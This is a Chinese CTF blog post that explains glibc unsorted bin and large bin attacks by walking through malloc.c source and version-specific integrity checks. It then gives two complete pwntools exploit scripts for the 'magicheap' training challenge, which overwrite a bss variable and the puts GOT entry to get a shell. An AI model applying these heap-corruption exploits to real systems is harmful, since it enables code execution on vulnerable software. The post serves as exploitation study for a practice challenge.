【PWN】Unsorted bin与Large bin的Attack

今天继续整理攻击方法,逆水行舟,不进则退。

Unsorted bin attack与Large bin attack两者我还是放在一起了,因为两者相近,都是通过修改bk(bk_nextsize)来实现对一块区域的修改,漏洞在于缺少*(bk)->fd的检测。

unsortedbin的利用点

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

ctfwiki说实话有点讨人厌,这么大的检测一嘴也不提,按我现在的知识水平,我觉得这个检测一出基本就废了。但本着刨根问底的精神,我必须找出来这个检测是在哪个版本加的,经过我的二分法筛选(轻喷),找出来是libc2.28加的。

 这个网站不错,源码版本很齐,推荐一下

malloc.c - malloc/malloc.c - Glibc source code (glibc-2.27) - Bootlinicon-default.png?t=M3K6https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.cctfwiki原话:

这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说

  • 我们通过修改循环的次数来使得程序可以执行多次循环。
  • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。

具体遇到再分析,看起来有些鸡助...

再分析一下largebin attack

else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
              < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
            mark_bin(av, victim_index);
            victim->bk = bck;
            victim->fd = fwd;
            fwd->bk    = victim;
            bck->fd    = victim;

利用的是unsorted bin大循环时,如果victim大小符合largebin就并入

核心在于有一些间接寻址如:

victim->fd_nextsize= fwd;
victim->bk_nextsize  = fwd->bk_nextsize;
fwd->bk_nextsize   = victim;
victim->bk_nextsize->fd_nextsize = victim;

这种间接的利用导致可以造成类似unsortedbin的fwd->bk->fd效果,这是核心!!!

那我们看一下,那些是可以利用的:

首先largebin并入有三种情况:

1.victim最小,小于largebin最后一个

2.victim插入,没有与之相同大小的

3.victim插入,有相同大小的

4.largebin嘛也没有

第一种情况,victim最小

fwd = bck;      //fwd指bins的假chunk
bck = bck->bk;    //最小的那个chunk
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize =
    victim->bk_nextsize->fd_nextsize = victim;
victim->bk = bck;
victim->fd = fwd;
fwd->bk    = victim;
bck->fd    = victim;

 可以用的:

fwd->fd->bk_nextsize->fd_nextsize=victim

由于是最小项,所以不需要遍历largebin,所以构造也不需要害怕改变fwd->fd(最大的chunk)

fwd->fd利用难度较大,能利用第二种还是第二种情况吧

第二种情况,没有与之相同大小的

victim->fd_nextsize = fwd;
victim->bk_nextsize  = fwd->bk_nextsize;
fwd->bk_nextsize     = victim;
victim->bk_nextsize->fd_nextsize = victim;
bck = fwd->bk;
victim->bk = bck;
victim->fd = fwd;
fwd->bk    = victim;
bck->fd    = victim;

我们把这种情况的变化拎出来,看看谁是间接变化后可利用的:

fwd->bk_nextsize->fd_nextsize=victim

fwd->bk->fd=victim

第三种第四种情况,无法利用(这是本人阅读源码的结论,如果有,麻烦指正。

又到了最上火的找检测时间了

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked liscorrupted(nextsize)");
if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

由于2.30多了这两个检测,所以第二种情况(非最小也无相同)废了,也就是说,只能被迫用第一种了!前人找bug,让后人没机会再找(

到这里,unsorted bin attack和large bin attack的利用讲解告一段落了。

接下来,上例题!

hitcontraining_magicheap

buuoj可找

 普普通通,creat时就可以读,edit也可以读,而且很随意,可以读任意大小。教学题的气氛。

 利用点在这里,只要magic>=0x1305就可以system了,magic是个bss区的数,位置已知。题目环境是ubuntu16,也没啥检测。这里已经很明确了,告诉我们让我们用unsorted bin来做(虽然largebin也可)

有两种思路,一种是按照上一个博客的第一道题,free chunk1后edit chunk0去修改chunk1的fd,一种是较通过的,通过overlapping实现对一个块同时拥有两个可操纵权,一个free,一个修改。

本着偷懒的精神更易操作,选择第一个。

from pwn import *

#p = process('./magicheap')
p=remote("node4.buuoj.cn",27142)

context(os='linux', arch='amd64', log_level='debug')

def CreateHeap(size,content):
	p.recvuntil(':')
	p.sendline(b'1')
	p.recvuntil(':')
	p.sendline(str(size))
	p.recvuntil(':')
	p.sendline(content)
 
def EditHeap(idx,size,content):
	p.recvuntil(':')
	p.sendline(b'2')
	p.recvuntil(':')
	p.sendline(str(idx))
	p.recvuntil(':')
	p.sendline(str(size))
	p.recvuntil(':')
	p.sendline(content)
 
def DeleteHeap(idx):
	p.recvuntil(':')
	p.sendline(b'3')
	p.recvuntil(':')
	p.sendline(str(idx))

CreateHeap(0x30,b'aaaa')
CreateHeap(0x80,b'bbbb')
CreateHeap(0x10,b'cccc')

DeleteHeap(1)
#gdb.attach(p)

magic = 0x6020A0
EditHeap(0,0x50,0x30 * b"a" + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
#gdb.attach(p)

CreateHeap(0x80,b'dddd')
#gdb.attach(p)

p.sendlineafter(':',b'4869')
p.interactive()

网上看到了一种unlink用法,挺有意思的,操作bss区,不跟着作者走。有意思,记录一下

通过unlink修改指针数组,复习一下unlink用法。效果在更改指针大小+0x18。 

from pwn import *
p = remote("node4.buuoj.cn",25162)
#p = process("./magicheap")
e = ELF("./magicheap")
sh_addr = 0x400c50
bss_addr = 0x6020c0
context.log_level  ="debug"
p.timeout = 0.5
def add(size,content):
	p.recvuntil("Your choice :")
	p.sendline("1")
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap:")
	p.sendline(content)
	p.recvuntil("SuccessFul\n")
def edit(index,size,content):
	p.recvuntil("Your choice :")
	p.sendline("2")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap : ")
	p.sendline(content)
	p.recvuntil("Done !\n")
def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("3")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Done !\n")
 
add(0x30,"a"*0x30)#0
add(0x30,"a"*0x30)#1
add(0x80,"a"*0x80)#2
add(0x10,"a"*0x10)# 
pl1 = p64(0) + p64(0x31) + p64(bss_addr - 0x10) + p64(bss_addr-0x8) + p64(0) + p64(0)
pl1+=  p64(0x30) + p64(0x90)
edit(1,0x40,pl1)
delete(2)
pl2 = p64(0) + p64(0) + p64(e.got["puts"])
edit(1,0x30,pl2)
edit(0,0x8,p64(sh_addr))
# gdb.attach(p)
# pause()
p.interactive()

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值